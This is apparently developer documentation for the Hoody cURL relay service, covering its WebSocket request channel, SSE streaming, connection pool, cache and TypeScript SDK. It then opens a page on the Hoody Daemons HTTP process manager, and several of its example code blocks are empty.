**Advanced POST** (request body):



## Cookie Sessions

Persist authentication across multiple requests:

**Login - cookies saved automatically:**



**Access protected endpoint - cookies included automatically:**



**Logout - clear session:**



## Async Jobs

Queue long-running requests:

**Submit async job - saves to /hoody/storage/curl/downloads/:**



Returns: `{"job_id": "550e8400-..."}`. File saved to: `/hoody/storage/curl/downloads/large-file.zip`

**Check status:**



**Get result when complete:**



## WebSocket Multiplexed Request Channel

**The handshake tax is dead.** Every HTTP call you make over the public Internet pays for TCP, TLS, HTTP. Negotiate. Negotiate. Negotiate. N requests, N round-trips of pure ceremony before a single byte of real data crosses the wire.

We refuse.

`/api/v1/curl/channel` is a single persistent WebSocket. You connect once. Then you multiplex hundreds of concurrent cURL requests over that one socket, each with its own `stream_id`, each cancellable, each returning headers + body + timing — exactly like the REST endpoint, but **without paying the TCP/TLS tax per request**.

```bash
# Open the channel. The server sends a `hello` frame with limits + features.
websocat "wss://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.icu/api/v1/curl/channel"
```

Wire protocol (JSON text frames; opt into binary frames with `?binary=true` — see below):

```jsonc
// server → client (on connect)
{"type":"hello","version":2,"connection_id":"...","limits":{...},"features":{"sse":true,...}}

// client → server (issue a request)
{"type":"request.start","stream_id":7,"request":{
  "url":"https://api.example.com/things",
  "method":"POST",
  "json":{"hello":"world"}
}}

// server → client (response delivered in chunks). `is_sse` is omitted for
// non-SSE responses (only present when true). `headers` is the lowercase-keyed
// map; `raw_headers: [{name, value}]` preserves original header order + case.
{"type":"accepted","stream_id":7}
{"type":"response.start","stream_id":7,"status_code":200,"headers":{...},"raw_headers":[...],"content_type":"...","effective_url":"...","body_bytes":...}
{"type":"response.body","stream_id":7,"offset":0,"encoding":"base64","data":"..."}
{"type":"response.end","stream_id":7,"timing":{...},"metadata":{...}}

// client → server (cancel mid-flight)
{"type":"request.cancel","stream_id":7}
```

### Binary frame fast path — `?binary=true`

Base64 inside JSON inflates every response body by ~33% and forces a
JSON-parse of the whole blob. Open the channel with `?binary=true` and the
server advertises `features.binary_frames: true` in `hello`; from then on:

- **Response bodies** arrive as raw **binary WebSocket frames** — no base64,
  no JSON envelope. Each frame is a 16-byte little-endian header
  (`version`, `kind`, `flags`, `stream_id`) followed by the raw chunk.
  `response.start` / `response.end` stay JSON.
- **Binary request uploads** work: send `request.start` with
  `"binary_body": true` (and no `data`), then a binary `REQUEST_BODY` frame
  carrying the bytes. The server holds execution until the body frame lands.

Omitting `?binary=true` keeps the exact legacy text/base64 protocol — old
clients are unaffected. The TypeScript SDK negotiates binary automatically.
Measured: **2–3.6× faster** large downloads, **2.3× faster** binary uploads
versus the base64 path.

**Compression pass-through.** Under `?binary=true` the relay also stops
asking libcurl to auto-decompress upstream gzip/deflate. Instead it sends
its own `Accept-Encoding: gzip, deflate` header, leaves the response bytes
compressed end-to-end, and forwards the upstream's `Content-Encoding`
header verbatim — the SDK pipes the body through `DecompressionStream` on
its side. This saves the relay CPU of decompressing on the hot path AND
the wire bytes of re-transmitting the decompressed body. Measured: **1.6×
throughput** on gzip-encoded 1 MiB downloads, plus the upstream's ~3–4×
gzip ratio in wire bytes. Edge: a 2xx `text/event-stream` upstream that
advertises `Content-Encoding: gzip` falls back to buffered (the relay's
SSE parser only handles plain bytes); the SDK still receives the compressed
body and the consumer can parse SSE off the decompressed text.

**Streaming response bodies.** Under `?binary=true` a 2xx non-SSE response
no longer waits for libcurl to finish — `response.start` ships as soon as
the upstream's header section completes, and `BIN_KIND_BODY` frames flow
out interleaved with the upstream's writes. The final frame carries
`BIN_FLAG_LAST` so the SDK can finalize its `ReadableStream` without
parsing `response.end`. This collapses time-to-first-byte to a single
upstream round-trip + one WS frame regardless of body size. The SSE
semaphore is NOT consumed (channel `max_concurrent` is the relevant cap);
non-2xx responses still buffer so callers see the full error body and
status. Pairs naturally with compression pass-through: the upstream's
compressed bytes stream straight into the SDK's `DecompressionStream`.
Tiny bodies (Content-Length ≤ 16 KiB) stay buffered — for them the
streaming-setup overhead beats the TTFB win. Measured: **5.7× faster**
1 MiB downloads, **3.4× faster** 8 MiB downloads versus the buffered
binary path.

**Libcurl handle pool.** The relay maintains a process-wide pool of warmed
`Easy2` handles shared by the sync `/curl` endpoint, the channel WS path,
and the async job worker. Each pooled handle keeps its libcurl connection
cache (TCP keep-alive + TLS sessions + DNS) hot across requests, so the
second call to the same host skips the full handshake. Bench-irrelevant
on a local mock upstream; in production this is the difference between a
50ms TLS round-trip and a sub-millisecond keep-alive hit when an AI agent
makes many calls to the same API host.

The pool keys on `(scheme, host, port, pinned_ip, conn_opts_hash)` — the
pinned IP is the ACTUAL `CURLINFO_PRIMARY_IP` libcurl connected to on the
last transfer (not a pre-transfer guess), so DNS rotation cannot
accidentally reuse a connection bound to a stale address. Per-origin cap
is 8; global cap is 64; eviction is approximate LRU.

The `conn_opts_hash` covers the connection-level options that determine
whether two requests can share the same TCP/TLS session: `insecure`,
`proxy` + creds, `cert`/`key`/`cacert`/`cert_type`. A request with
`insecure=true` gets a different pool slot from a plain request — they
can't share a connection because the TLS handshake differs.

Per-request **payload** — `Authorization` headers, cookies, bearer
tokens, `session_id`, `range`, etc. — is NOT in the pool key. hoody-curl
doesn't authenticate callers (auth is a hoody-proxy concern; payload
auth is forwarded to the upstream API). `easy.reset()` clears all such
request-level state between handle uses, so payload credentials cannot
leak across requests via the pool. This recovers warm TLS reuse for the
dominant Hoody workload: relaying authenticated API calls (OpenAI,
Anthropic, etc.) where every request carries an `Authorization: Bearer …`
header.

Metrics on `/metrics`:

- `hoody_curl_pool_takes_total`, `hoody_curl_pool_hits_total`, `hoody_curl_pool_misses_total`, `hoody_curl_pool_puts_total`
- `hoody_curl_pool_evictions_total{reason=per_origin|global|shutdown}`
- `hoody_curl_pool_bypasses_total{reason=non_default_security|cancellation|promoted}`
- `hoody_curl_pool_idle` (gauge)

**User-scoped HTTP response cache** (phase 5, opt-in). When the operator
sets `--cache-namespace ctn:<project>:<container>` and `--cache-mode
readwrite`, the relay serves GET/HEAD responses from a content-addressed
on-disk cache (`cacache` crate) rooted at `<storage>/cache/ns-<sha256(namespace)>/`.
The cache is conservative by design:

- One namespace per process — set by the deployment orchestrator at
  startup; never derived from request headers (no spoofing surface).
- Cache only caches responses that are safe to replay independent of
  caller identity. Requests carrying `Authorization`, `Cookie`, a
  bearer token, `session_id`, `range`, or any other per-call credential
  / state are NOT cached (the cache key doesn't vary on those, so
  caching `Bearer X`'s response and serving it to `Bearer Y` would
  leak data). The POOL still reuses connections for those requests —
  the gates are separate.
- `Vary` responses are skipped (Vary support is deferred to a future
  slice; the current model assumes the upstream returns a single
  representation per URL).
- Streaming/SSE responses are NEVER cached.
- `Content-Encoding`/`Transfer-Encoding` are stripped from the stored
  representation; `Content-Length` is recomputed against the decoded
  body length. Two size caps catch gzip bombs (compressed Content-Length
  ≤ `cache_max_object_bytes`, decoded ≤ `cache_max_object_bytes_decoded`).
- `http-cache-semantics = 3.0` powers RFC 9111 freshness (Age/Date/
  Expires, private-cache semantics — `s-maxage` is ignored).
- DNS-rebind defense: `stored_pin_ip` is the actual IP libcurl used at
  store time; on lookup it must be in the CURRENT `resolve_and_pin`
  set, otherwise the entry is bypassed (cached responses from a
  domain that has rotated to a new IP are not served).
- Schema + generation versioning: bump `--cache-generation` to
  invalidate all entries on the next read.

Modes:

- `--cache-mode off` (default) — no reads, no writes.
- `--cache-mode readonly` — lookups continue; new writes disabled.
  Useful for graceful drain before a deploy.
- `--cache-mode readwrite` — full operation.

File modes are `0700` on the root and `0600` on each content file.

Metrics on `/metrics`:

- `hoody_curl_cache_enabled` (gauge)
- `hoody_curl_cache_hit_total`, `hoody_curl_cache_miss_total`
- `hoody_curl_cache_object_bytes_stored`, `hoody_curl_cache_object_count_stored`
- `hoody_curl_cache_pin_mismatch_total` — DNS-rebind defense activations
- `hoody_curl_cache_skip_request_total{reason=…}` — every named skip reason (`non_default_security`, `unsafe_request_header`, `url_userinfo`, …)
- `hoody_curl_cache_skip_response_total{reason=…}` — same on the response side (`response_set_cookie`, `vary_present`, `event_stream`, `too_large_decoded`, `pin_mismatch`, …)
- `hoody_curl_cache_bypass_total{reason=…}` — bypass counters (e.g. `cache_disabled`, `pin_mismatch`)

**Per-connection tunables** (query string):

| Param | Default | Hard cap | Purpose |
|---|---|---|---|
| `binary` | `false` | — | Opt into binary response/upload frames (see above) |
| `max_concurrent_streams` | 64 | 128 | In-flight cURL transfers on this socket |
| `max_queue` | 128 | 4096 | Streams waiting for an execution slot |
| `max_frame_bytes` | 1 MiB | `--max-request-body-bytes` (default 16 MiB) | Maximum inbound WebSocket frame |
| `max_request_bytes` | `--max-request-body-bytes` | (same) | Maximum assembled `request.start.request` JSON size |
| `chunk_bytes` | 64 KiB | 1 MiB | Bytes per outbound response-body chunk |
| `stream_timeout_secs` | 300 | 3600 | Time-to-first-byte cap. After SSE promotion fires, `sse_max_duration_secs` takes over. |
| `idle_timeout_secs` | 60 | 3600 | Idle-connection timeout |
| `max_outbound_messages` | 1024 | 8192 | Outbound queue backpressure threshold |

Every request still flows through the same SSRF guard, header validation, and field-rejection rules as the REST `/curl` endpoint. The channel is not a security escape hatch — it's a transport optimization.

## Server-Sent Events (SSE)

**Modern endpoints stream.** OpenAI streams. Anthropic streams. Your AI agent streams. The web is moving from request/response to long-lived event streams — and the proxy that can't speak SSE is the proxy your AI calls are stuck on.

hoody-curl auto-detects when an upstream responds with `Content-Type: text/event-stream` on a `2xx` status and **promotes the connection to streaming mode in-flight** — no second HTTP call, no body replay, no waiting for the upstream to close. The first SSE frame the upstream emits reaches your client within milliseconds. Non-2xx responses (4xx/5xx) and non-SSE Content-Types fall through to the standard buffered path.

This works on **three surfaces**:

- **Sync `/curl`** and **Channel WS** auto-promote upstream SSE responses end-to-end.
- **`/sse`** is a server-emitted SSE stream for the job event bus (it doesn't proxy an upstream — it streams hoody-curl's own `jobstarted`/`jobprogress`/`jobcompleted` events to EventSource clients).

### Sync `/curl` — Transparent SSE Passthrough

Just curl the URL. The response is a chunked `text/event-stream` body, identical to what you'd get from the upstream directly:

```bash
curl -N "https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.icu/curl?url=https://stream.wikimedia.org/v2/stream/recentchange"

# event: message
# data: {"$schema":"/mediawiki/recentchange/1.0.0",...}
#
# event: message
# data: {...}
```

POST + SSE upstreams (the AI streaming case) work identically:

```bash
curl -N -X POST "https://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.icu/curl" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "https://api.openai.com/v1/chat/completions",
    "method": "POST",
    "headers": {"Authorization": "Bearer sk-...", "Content-Type": "application/json"},
    "json": {"model": "gpt-4o", "messages": [...], "stream": true}
  }'
```

The upstream POST body is sent **exactly once per attempt** — promotion itself doesn't replay it, and SSE detection fires on the first response byte, so a buffered-mode prelude that gets promoted into streaming sends the body once. (Caveat: if you set `retry_count > 0` and the underlying transfer fails before any byte arrives, retries do re-send the body — same as any HTTP client. For non-idempotent POSTs, keep `retry_count: 0` and handle retries at the application layer.)

**One framing-level note**: while the upstream is alive, the sync `/curl` SSE body is byte-identical to what the upstream sent. When the stream closes cleanly, the server appends one synthetic SSE frame — `event: end\ndata: {"total_bytes":N}\n\n` — so clients learn the total byte count without parsing every event. On deadline / error, it appends `event: error\ndata: {"error_type":"sse_max_duration",...}\n\n` instead. SSE clients that subscribe to `event: message` only (the default) are unaffected; clients that listen on all events should know these tail frames exist.

### Channel WS — Typed SSE Events, Multiplexed

When the channel detects SSE on a stream, instead of `response.body` frames you get typed `response.sse_event` frames — one per upstream event — with `event`, `id`, `data`, `retry`, and a per-stream `seq` number. The `response.start` frame carries `is_sse: true` so the client knows what to expect.

```jsonc
// server → client (SSE-promoted stream)
{"type":"response.start","stream_id":7,"is_sse":true,"status_code":200,...}
{"type":"response.sse_event","stream_id":7,"seq":0,"event":"message","data":"hello"}
{"type":"response.sse_event","stream_id":7,"seq":1,"event":"ping","data":"world","id":"42"}
// data_truncated: true is set when the upstream event exceeds
// --sse-parser-aggregate-bytes (default 1 MiB) — `data` is truncated at a
// UTF-8 char boundary; the rest of the stream continues normally.
{"type":"response.sse_event","stream_id":7,"seq":2,"event":"message","data":"...","data_truncated":true}
{"type":"response.end","stream_id":7,"sse_events":3,...}
```

You can run dozens of concurrent SSE streams on one WebSocket — each cancellable via `request.cancel`, each bounded by `sse_max_duration_secs` (default 30 min), each held against a per-process `max_sse_concurrent` semaphore so a single client can't exhaust the host.

### Job Event Streams — `/ws` and `/sse`

The same job lifecycle (`jobstarted` / `jobprogress` / `jobcompleted`) is available over **both** WebSocket and Server-Sent Events. Pick the one your client speaks:

```bash
# WebSocket (binary, full-duplex)
websocat "wss://.../ws"
# {"type":"jobstarted","job_id":"...","name":"..."}
# {"type":"jobprogress","job_id":"...","progress":0.42}
# {"type":"jobcompleted","job_id":"...","status":"completed"}

# Server-Sent Events (text, EventSource-friendly, browser-native)
curl -N "https://.../sse"
# retry: 5000
#
# event: jobstarted
# data: {"job_id":"...","name":"..."}
# id: 0
#
# event: jobprogress
# data: {"job_id":"...","progress":0.42}
# id: 1
```

Both filter by `?job_id=<uuid>`. Heartbeats keep reverse proxies happy: `/sse` emits a `:\n\n` comment every `--sse-heartbeat-secs` (default 15s) of silence; `/ws` sends WebSocket pings every 30s and drops the connection if no Pong arrives within 90s (half-open detection).

### SSE Configuration Flags

| Flag | Default | Purpose |
|---|---|---|
| `--no-sse` | enabled | Disable `/sse` route AND upstream SSE auto-detection (compat escape hatch) |
| `--sse-heartbeat-secs` | 15 | Idle heartbeat interval |
| `--sse-max-duration-secs` | 1800 | Wall-clock cap on any single SSE stream |
| `--sse-channel-capacity` | 256 | Bounded mpsc between executor and handler |
| `--sse-parser-aggregate-bytes` | 1 MiB | Hard cap on one event's accumulated bytes |
| `--sse-parser-partial-bytes` | 256 KiB | Hard cap on a single partial line |
| `--max-sse-concurrent` | 256 | Global cap on concurrent SSE streams |

When the global SSE cap is exhausted: sync `/curl` and `/sse` return `503 Retry-After: 5`; channel WS emits `error{error_type:"sse_capacity"}` then `response.end`.

### Channel `error_type` Vocabulary

Channel WS surface errors as `{"type":"error","error_type":"<kind>","message":"...","stream_id":N}` — the `error_type` is a stable enum your SDK should switch on:

| `error_type` | Meaning | Retry strategy |
|---|---|---|
| `validation_error` | Invalid request (bad URL, rejected field, etc.) | Don't retry; fix the request. |
| `cancelled` | Stream cancelled by client or server | N/A — caller initiated. |
| `timeout` | `stream_timeout_secs` elapsed before completion | Retry with longer timeout, or use SSE for long-lived streams. |
| `queue_full` | Per-connection `max_queue` exhausted | Back off + retry, or raise `max_queue` in query string. |
| `sse_capacity` | Global `max_sse_concurrent` exhausted | Back off + retry (mirrors 503 + Retry-After). |
| `sse_max_duration` | SSE stream exceeded `sse_max_duration_secs` | Reopen; consider chunking the upstream call. |
| `execution_error` | libcurl-level error (DNS, TLS, upstream RST) | Retry once with backoff; permanent if it repeats. |
| `internal_error` | SDK or server bug | Don't retry blindly; surface to operator. |
| `protocol_error` | Channel wire violation (duplicate stream_id, etc.) | Bug in client. |

The `Last-Event-Id` header on `/sse` is **accepted but ignored** — the broadcast bus has no replay buffer, so reconnecting clients miss events emitted during the gap. Operators wanting durable replay should fan the bus out to an external durable queue.

## TypeScript SDK — `fetch()` over WebSocket

We built [@hoody/curl-channel-sdk](https://github.com/Hoody-Network/hoody-kit/tree/main/hoody-curl/sdk/typescript) so your existing fetch-based code runs over the channel with one line of setup:

```ts


const fetch = createFetch({
  url: "wss://PROJECT_ID-CONTAINER_ID-curl-1.SERVER.containers.hoody.icu/api/v1/curl/channel",
});

// Now use it exactly like global fetch.
const res = await fetch("https://api.example.com/things", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ hello: "world" }),
});
console.log(res.status, await res.json());
```

SSE upstreams transparently return a streaming `Response.body` — pipe it to `EventSource`-style code without changes:

```ts
const messages = [{ role: "user", content: "hello" }];
const res = await fetch("https://api.openai.com/v1/chat/completions", {
  method: "POST",
  headers: { "Content-Type": "application/json", Authorization: `Bearer ${KEY}` },
  body: JSON.stringify({ model: "gpt-4o", messages, stream: true }),
});
if (!res.body) throw new Error("no body");
const reader = res.body.pipeThrough(new TextDecoderStream()).getReader();
while (true) {
  const { done, value } = await reader.read();
  if (done) break;
  process.stdout.write(value);
}
```

Need parsed events instead of raw bytes? Drop to the low-level API:

```ts


const messages = [{ role: "user", content: "hello" }];
const channel = await Channel.open({ url: "wss://.../api/v1/curl/channel" });
const stream = channel.request({
  url: "https://api.openai.com/v1/chat/completions",
  method: "POST",
  json: { model: "gpt-4o", messages, stream: true },
});

const start = await stream.start;
if (start.is_sse) {
  for await (const ev of stream.events) {
    console.log(ev.event, ev.data); // typed { event, id?, data, retry?, seq }
  }
}
```

Standard `AbortController` cancels mid-flight via `request.cancel` on the wire — the SDK rejects `stream.start` / `fetch()` immediately on `signal.abort()` without waiting for the server's `cancelled` ack. Modern ESM, browser + Node ≥18, peer-optional `ws` dependency for older Node.

### Auto-reconnect

The channel reconnects automatically on transport drop with exponential backoff. A request issued mid-reconnect waits transparently for the next live socket — no caller-side retry loop required.

```ts
const channel = await Channel.open({
  url: "wss://.../api/v1/curl/channel",
  reconnect: {
    enabled: true,            // default
    initialBackoffMs: 500,    // default
    maxBackoffMs: 30_000,     // default
    jitter: 0.2,              // ±20% randomization on each delay
    maxAttempts: Infinity,    // default; set a finite cap if you want to fail-fast
  },
});
```

To opt out, pass `reconnect: { enabled: false }` — the channel then rejects in-flight streams and stays closed on the first drop (matches the pre-v0.2 behavior).

### Observability hooks

Every channel state transition fires a typed hook. Throwing inside a hook never wedges the state machine — exceptions are caught and `console.warn`'d, so callers can use them safely for logging, metrics, or auth refresh:

```ts
const channel = await Channel.open({
  url: "wss://.../api/v1/curl/channel",
  hooks: {
    onOpen:           (hello) => log.info("channel open", hello.connection_id),
    onClose:          ({ code, reason, willReconnect }) => metrics.inc("ws.close"),
    onReconnecting:   ({ attempt, backoffMs }) => log.warn(`reconnect #${attempt} in ${backoffMs}ms`),
    onRequestStart:   ({ streamId, request }) => metrics.inc("req.start"),
    onResponseStart:  ({ streamId, status, isSse }) => metrics.observe("status", status),
    onResponseEnd:    ({ streamId, timing })       => metrics.observe("rtt", timing.total * 1000),
    onError:          (err) => log.error("channel error", err),
  },
});
```

### Error handling

Abort errors are real `DOMException("...", "AbortError")` instances when the runtime supports them (browser, Node ≥17.3) — falling back to an `AbortError`-named class otherwise. Either way, `err.name === "AbortError"` works everywhere. Channel-level failures throw `ChannelError` carrying an `errorType` from the same vocabulary as the wire protocol ([`validation_error`, `cancelled`, `sse_capacity`, …](#channel-error_type-vocabulary)).

**Sharp edges to know:**

- **Binary bodies need the binary fast path.** The SDK opens the channel with `binary` enabled by default, so non-UTF-8 `Uint8Array` / `Blob` / `ArrayBuffer` request bodies upload as raw binary frames and binary downloads skip base64. UTF-8 content still rides the text `data` field. If you explicitly pass `binary: false` (or talk to a server without `features.binary_frames`), a genuinely binary request body rejects with a `ChannelError` — base64-encode it client-side in that case.
- **SSE event queue is bounded.** A slow consumer combined with a fast upstream is capped at 4 096 buffered events; when full, the SDK emits a synthetic `{ event: "dropped", … }` event, sends `request.cancel` upstream, and the iterator terminates. Drain the iterator promptly or accept the dropped marker as a signal of lost data.
- **Handle `sse_capacity` on the channel.** When the global `--max-sse-concurrent` semaphore is exhausted, channel SSE streams receive `{"type":"error","error_type":"sse_capacity",...}` followed by `response.end` — the sync `/curl` and `/sse` paths instead return `503 Retry-After: 5`. Map both to a client-side retry-after-backoff.

## Scheduled Requests

Cron-based recurring requests:

**Daily report at 9 AM weekdays:**



**Hourly health check:**



## Response Modes

**JSON Mode** - Structured response with metadata:
```json
{
  "statusCode": 200,
  "message": "OK",
  "data": {
    "success": true,
    "status_code": 200,
    "is_binary": false,
    "headers": {"Content-Type": "application/json"},
    "body": "{\"message\": \"Hello\"}",
    "metadata": {"total_time": 0.531, "connect_time": 0.125}
  }
}
```

**Transparent Mode** - Raw response body:
```bash
curl ".../api/v1/curl/request?url=https://api.example.com&response=transparent"
# Returns: Raw API response (JSON, HTML, etc.)
```

## Use Cases

### API Testing & Debugging
Execute API calls through Hoody's network, test endpoints with different parameters, share request URLs with team members for collaboration.

### Web Scraping
Schedule recurring scrapes with cron, persist cookies for authenticated scraping, save responses directly to storage, retry on transient failures automatically.

### Webhook Receivers
Transform webhooks into GET URLs, share webhook endpoints easily, schedule webhook calls for testing, persist webhook history in storage.

### API Aggregation
Chain multiple API calls via sessions, orchestrate complex multi-step workflows, persist state across distributed requests, implement retry logic for reliability.

### No-Code Integration
Turn complex API calls into simple URLs, embed in no-code tools that only support GET, share API access without exposing credentials, make any API bookmark-able.

### Monitoring & Alerts
Schedule health checks for external services, retry failed requests automatically, save responses for historical analysis, trigger notifications on status changes.

## Best Practices

### Session Management
Use descriptive session IDs (`user-123-session`), delete sessions when done to free memory, sessions persist indefinitely until deleted, one session per user/context for isolation.

### Async vs Sync
Use `mode: "sync"` for quick requests (under 30 seconds), use `mode: "async"` for downloads or slow APIs, poll job status before retrieving results, clean up completed jobs periodically.

### Scheduled Requests
Test cron expression before scheduling, set `retry_count` for reliability, use `enabled: false` during debugging, monitor schedule execution via jobs API.

### Response Storage
Set `save: true` to persist responses to `/hoody/storage/curl/downloads/`, organize with nested paths (`reports/2024/monthly.csv`), clean up old files to manage disk space, use storage for audit trails or caching, access via Storage API or Files service.

### Error Handling
Configure `retry_count` for transient failures, set appropriate `timeout` and `connect_timeout`, check `status_code` in responses, use sessions for authentication retries.

## Useful Questions

**Q: How do I share a complex POST request?**
Use Hoody cURL to wrap it - the POST becomes a GET URL with all parameters encoded. Share this URL freely.

**Q: Can I schedule recurring API calls?**
Yes - use the schedule endpoint with cron expressions. Perfect for daily reports, hourly syncs, or periodic health checks.

**Q: How do I maintain authentication across requests?**
Use sessions - provide a `session_id` and cookies are automatically saved and included in subsequent requests.

**Q: What's the difference between sync and async mode?**
Sync waits for the response, async creates a background job. Use async for slow requests or downloads.

**Q: Can I save API responses to files?**
Yes - set `save: true` and optionally provide `save_path`. Access saved files via the storage API.

**Q: How do I retry failed requests?**
Set `retry_count` in your request. The service will automatically retry on network errors or timeouts.

**Q: Can I use this behind a proxy?**
Yes - set the `proxy` parameter with your proxy URL. Supports HTTP and SOCKS proxies.

## Troubleshooting

### Request Fails with Network Error
**Cause**: Target server unreachable or timeout.
**Solution**: Check `timeout` and `connect_timeout` settings, verify target URL is accessible, use `retry_count` for transient failures, check proxy configuration if using one.

### Session Cookies Not Persisting
**Cause**: Session ID not matching or cookies expired.
**Solution**: Use exact same `session_id` for all requests, check session exists with `GET /sessions/{id}`, verify target site's cookie expiration, delete and recreate session if corrupted.

### Scheduled Request Not Running
**Cause**: Invalid cron expression or schedule disabled.
**Solution**: Test cron expression before scheduling, check schedule is `enabled: true`, verify `next_run` timestamp is in future, monitor jobs API for execution history.

### Async Job Stays Pending
**Cause**: Queue backlog or job system issue.
**Solution**: Check queue with `GET /jobs`, cancel stuck jobs with `DELETE /jobs/{id}`, monitor active job count, restart service if queue is stuck.

### Response Too Large
**Cause**: Target returns massive response.
**Solution**: Use `save: true` to stream to disk, set lower `max_filesize` limit, use range requests if supported, implement pagination at source.

### Storage Full
**Cause**: Too many saved responses.
**Solution**: List storage with `GET /storage`, delete old files, implement cleanup schedule, use expiring paths (date-based).

## What's Next

---

# Daemons

**Page:** kit/daemons

[Download Raw Markdown](./kit/daemons.md)

---

**Think PM2, but for ANY program via HTTP.** Hoody Daemons is a universal process manager that works with Node.js, Python, Go, Rust, compiled binaries, shell scripts—literally any executable. No CLI needed, no language-specific tools, just a simple REST API to keep any program running forever.


**PM2**: Node.js process manager via CLI
**Hoody Daemons**: Universal process manager via HTTP API

- ✅ Works with ANY program (not just Node.js)
- ✅ HTTP API (no SSH/CLI required)
- ✅ Powered by supervisord (battle-tested since 2004)
- ✅ Auto-restart, logging, startup ordering
- ✅ Simple JSON configuration

Manage Python workers, Go servers, Rust daemons, and Node.js apps all through the same interface.


## What You Can Do

- 🚀 **Program Management** - Create, configure, and delete daemon programs
- ▶️ **Process Control** - Start, stop, enable, disable running processes
- 📊 **Status Monitoring** - Track process state, uptime, and PID
- 🔄 **Auto-Restart** - Configure automatic restart on crashes
- 🎯 **Priority Control** - Set startup order for dependencies
- 📝 **Logging** - Configure stdout/stderr log files
- 🔐 **User Isolation** - Run each process as specific system user
- ⚙️ **Environment** - Set custom environment variables per program

## API Endpoints Summary

All endpoints accessed relative to your Daemon Manager service URL:
```
https://PROJECT_ID-CONTAINER_ID-daemon-1.SERVER.containers.hoody.icu
```

**Program Management**:
- [`GET /api/v1/daemon/programs`](/api/daemon/management/) - List all programs
- [`GET /api/v1/daemon/programs/{id}`](/api/daemon/management/) - Get program details
- [`POST /api/v1/daemon/programs/add`](/api/daemon/management/) - Create new program
- [`POST /api/v1/daemon/programs/edit/{id}`](/api/daemon/management/) - Update program
- [`POST /api/v1/daemon/programs/remove/{id}`](/api/daemon/management/) - Delete program

**Process Control**:
- [`POST /api/v1/daemon/programs/{id}/enable`](/api/daemon/control/) - Enable program
- [`POST /api/v1/daemon/programs/{id}/disable`](/api/daemon/control/) - Disable program
- [`POST /api/v1/daemon/programs/{id}/start`](/api/daemon/control/) - Start process
- [`POST /api/v1/daemon/programs/{id}/stop`](/api/daemon/control/) - Stop process

**Monitoring**:
- [`GET /api/v1/daemon/status`](/api/daemon/monitoring/) - All process statuses
- [`GET /api/v1/daemon/status/{id}`](/api/daemon/monitoring/) - Single process status

**Logs**:
- [`GET /api/v1/daemon/programs/{id}/logs`](/api/daemon/monitoring/) - Get program stdout/stderr logs
- [`GET /api/v1/daemon/quick-start/{id}/logs`](/api/daemon/management/) - Get ephemeral program logs

**Quick Start (Ephemeral Programs)**:
- [`GET /api/v1/daemon/quick-start`](/api/daemon/management/) - List ephemeral programs
- [`POST /api/v1/daemon/quick-start`](/api/daemon/management/) - Launch ephemeral program
- [`GET /api/v1/daemon/quick-start/{id}/status`](/api/daemon/management/) - Get ephemeral program status
- [`POST /api/v1/daemon/quick-start/{id}/stop`](/api/daemon/management/) - Stop ephemeral program

## Process Lifecycle

**Enable → Start → Stop → Disable → Remove**


  
    ```bash
    # Create a daemon program
    hoody daemon programs create \
      --name "web-server" \
      --command "/usr/bin/node /app/server.js" \
      --user "www-data" \
      --autorestart true \
      --directory "/app"

    # Enable and start
    hoody daemon programs enable 1
    hoody daemon programs start 1

    # Check status
    hoody daemon programs status 1

    # Stop and remove
    hoody daemon programs stop 1
    hoody daemon programs disable 1
    hoody daemon programs delete 1
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Create a daemon program
    const result = await containerClient.daemon.programs.add({
      name: 'web-server',
      command: '/usr/bin/node /app/server.js',
      user: 'www-data',
      autorestart: 'true',
      directory: '/app',
    });
    const programId = result.data.id;

    // Enable and start
    await containerClient.daemon.control.enable(programId);
    await containerClient.daemon.control.start(programId);

    // Check status
    const status = await containerClient.daemon.status.get(programId);

    // Stop and remove
    await containerClient.daemon.control.stop(programId);
    await containerClient.daemon.control.disable(programId);
    await containerClient.daemon.programs.remove(programId);
    ```
  
  
    ```bash
    # Create a daemon program
    curl -X POST "https://PROJECT_ID-CONTAINER_ID-daemon-1.SERVER.containers.hoody.icu/api/v1/daemon/programs/add" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "web-server",
        "command": "/usr/bin/node /app/server.js",
        "user": "www-data",
        "autorestart": "true",
        "directory": "/app"
      }'

    # Enable and start
    curl -X POST ".../api/v1/daemon/programs/1/enable"
    curl -X POST ".../api/v1/daemon/programs/1/start"

    # Check status
    curl "https://PROJECT_ID-CONTAINER_ID-daemon-1.SERVER.containers.hoody.icu/api/v1/daemon/status/1"
    ```
  


**Creating and Running a Daemon**:

**1. Add program (explicitly disabled — default is `enabled: true`):**



**2. Enable program:**



**3. Start process:**



**4. Monitor status:**



**Stopping and Removing**:

**1. Stop process:**



**2. Disable program:**



**3. Remove configuration:**



## Enable vs Start

**Critical Distinction**:

**Enable** = Configuration change
- Makes program available to supervisord
- Doesn't start the process
- Required before starting

**Start** = Runtime action
- Launches the actual process
- Only works if program is enabled
- Creates running process with PID

**Example**:
```bash
# This sequence is REQUIRED:
POST /programs/{id}/enable   # Configuration: "program can run"
POST /programs/{id}/start    # Runtime: "start the process"

# This FAILS:
POST /programs/{id}/start    # Error: program not enabled
```

## Auto-Restart Policies

Configure how programs behave on crashes:

```json
{
  "name": "critical-service",
  "command": "/usr/bin/service",
  "user": "service",
  "autorestart": "true"  // Always restart on exit
}
```

**Options**:
- `"true"` - Always restart (recommended for services)
- `"false"` - Never restart (one-time tasks)
- `"unexpected"` - Restart only on crashes (not clean exits)

## Program Configuration

Full program example:

```json
{
  "name": "api-server",
  "description": "Main REST API server",
  "command": "/usr/bin/node /app/api/server.js",
  "user": "api",
  "enabled": true,
  "boot": true,
  "autorestart": "true",
  "directory": "/app/api",
  "priority": 10,
  "stdout_logfile": "/var/log/api/stdout.log",
  "stderr_logfile": "/var/log/api/stderr.log",
  "environment": {
    "NODE_ENV": "production",
    "PORT": "3000",
    "DB_HOST": "localhost"
  }
}
```

## Process States

Monitor process health via status endpoint:

- **RUNNING** ✅ - Process running normally with PID
- **STOPPED** ⏸️ - Process not running (expected)
- **STARTING** ⏳ - Currently launching (temporary)
